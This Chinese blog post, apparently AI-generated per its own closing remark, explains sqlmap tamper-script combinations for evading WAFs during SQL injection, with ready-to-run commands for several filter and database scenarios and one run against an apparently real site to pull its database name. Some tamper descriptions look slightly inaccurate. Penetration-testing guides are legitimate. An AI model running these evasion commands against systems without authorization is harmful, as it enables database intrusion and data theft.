使用 sqlmap检测漏洞时,tamper脚本是绕过 Web 应用防火墙(WAF)、过滤规则或特殊编码的关键工具。以下是一些常见的 tamper搭配,以及如何高效利用它们,结合实际场景进行说明。内容基于 sqlmap的常见用法和社区实践,避免涉及任何非法操作。
Tamper脚本用于修改 SQL 注入 payload,使其能够绕过目标系统的过滤机制(如 WAF、输入验证)。sqlmap提供了丰富的 tamper 脚本,位于 tamper/目录下。选择合适的 tamper 搭配需要根据目标网站的过滤规则、编码方式和数据库类型来决定。
高效利用 tamper 的原则:
sqlmap日志,分析哪些 tamper 有效,哪些被过滤。以下是一些常见的 tamper 搭配,适用于不同场景。每个搭配都针对特定的过滤机制或 WAF 规则。
SELECT, UNION)常见搭配:
space2comment.py:将空格替换为注释(如 /**/)。equaltolike.py:将 =替换为 LIKE。between.py:将比较操作(如 >, <)替换为 BETWEEN。适用场景:
SELECT, UNION)。示例命令:
sqlmap -u"http://example.com/index.php?id=1" --dbms=mysql解释:
space2comment将 SELECT id FROM users转换为 SELECT/**/id/**/FROM/**/users。equaltolike将 id=1转换为 id LIKE 1。between将 id>1转换为 id BETWEEN 2 AND 999。首先使用常规方法进行 sql 注入检测,发现可以检测出存在 SQL 注入,但是在进行数据查询时,无法正确获取,
命令:
sqlmap -u http://jz.xazlsec.com/w/album_list?tag=3-p tag --current-db --random-agent
如图:

尝试增加上述几个 tamper,发现可以正常获取数据库名,命令:
sqlmap -u http://jz.xazlsec.com/w/album_list?tag=3-p tag --current-db --random-agent --tamper=space2comment,equaltolike,between
结果如图(未获取完整数据,只做证明可以查询):

常见搭配:
randomcase.py:随机更改关键字的大小写(如 SeLeCt)。charencode.py:对 payload 进行 URL 编码。适用场景:
示例命令:
sqlmap -u"http://example.com/index.php?id=1"--tamper=randomcase,charencode解释:
randomcase将 SELECT变为 SeLeCt或其他随机大小写组合。charencode将 payload 编码为 %53%45%4C%45%43%54,绕过简单字符串匹配。常见搭配:
space2comment.py:替换空格。apostrophemask.py:将单引号编码为 UTF-8 格式。base64encode.py:将 payload 编码为 Base64。modsecurityversioned.py:针对 ModSecurity WAF 的特定规则。适用场景:
示例命令:
sqlmap -u"http://example.com/index.php?id=1"--tamper=space2comment,apostrophemask,base64encode,modsecurityversioned --level=3解释:
apostrophemask将单引号 '编码为 %27或 UTF-8 格式。base64encode将 payload 编码为 Base64,适用于某些特殊输入处理。modsecurityversioned针对 ModSecurity 的规则集进行优化。MySQL 常见搭配:
space2mysqlcomment.py:使用 MySQL 特有的注释(如 --或 #)。versionedkeywords.py:添加 MySQL 版本特定的注释。unmagicquotes.py:绕过 PHP 的魔术引号(magic quotes)。MSSQL 常见搭配:
mssqlcomments.py:使用 MSSQL 特有的注释。charencode.py:编码 payload 以绕过过滤。PostgreSQL 常见搭配:
space2dash.py:将空格替换为 --注释。greatest.py:将 >替换为 GREATEST函数。示例命令(MySQL):
sqlmap -u"http://example.com/index.php?id=1"--tamper=space2mysqlcomment,versionedkeywords,unmagicquotes --dbms=mysql常见搭配:
charunicodeencode.py:将 payload 编码为 Unicode 格式。multiplespaces.py:在 payload 中插入多个空格。randomcomments.py:随机插入 /**/注释。适用场景:
<, >)或编码方式有严格限制。示例命令:
sqlmap -u"http://example.com/index.php?id=1"--tamper=charunicodeencode,multiplespaces,randomcomments解释:
charunicodeencode将字符编码为 \u0027形式的 Unicode。multiplespaces在 payload 中插入随机数量的空格。randomcomments在 payload 中随机插入注释,增加混淆。--tamper单独测试一个脚本,确认是否有效。--level和 --risk:--level=3或更高,增加测试的 payload 种类。--risk=3尝试更激进的注入方式,但注意可能触发 WAF 封锁。--dbms=mysql或 --dbms=mssql明确数据库类型,减少无关 payload 测试。--proxy或 --tor:--identify-waf检测目标使用的 WAF(如 Cloudflare、ModSecurity)。cloudflare.py)。--verbose=3查看详细日志,分析哪些 payload 被拦截。tamper/目录中的脚本模板)。sqlmap进行漏洞测试,未经授权的扫描可能违法。sqlmap,以获取最新的 tamper 脚本和功能。假设目标是一个 MySQL 数据库,存在 WAF 且过滤空格和关键字:
sqlmap -u"http://example.com/index.php?id=1"--tamper=space2comment,equaltolike,apostrophemask,randomcase --dbms=mysql --level=3--risk=2--identify-wafsqlmap的 GitHub 仓库(tamper/目录)提供所有 tamper 脚本的说明。sqlmap论坛或 StackOverflow 上的案例,了解特定场景的 tamper 搭配。文章内容来自于 AI 生成,提问内容为:
使用 sqlmap 检测漏洞,有哪些常见 tamper 搭配,高效利用

经多多轮实际案例的测试,其中,场景 1 比较通用,很容易找到实际案例,可以作为常用命令使用,AI 真的是一个很好的帮手,在我们有需求时,可以提供很多方法可选,最终使用哪个,需要自己进行测试后选择。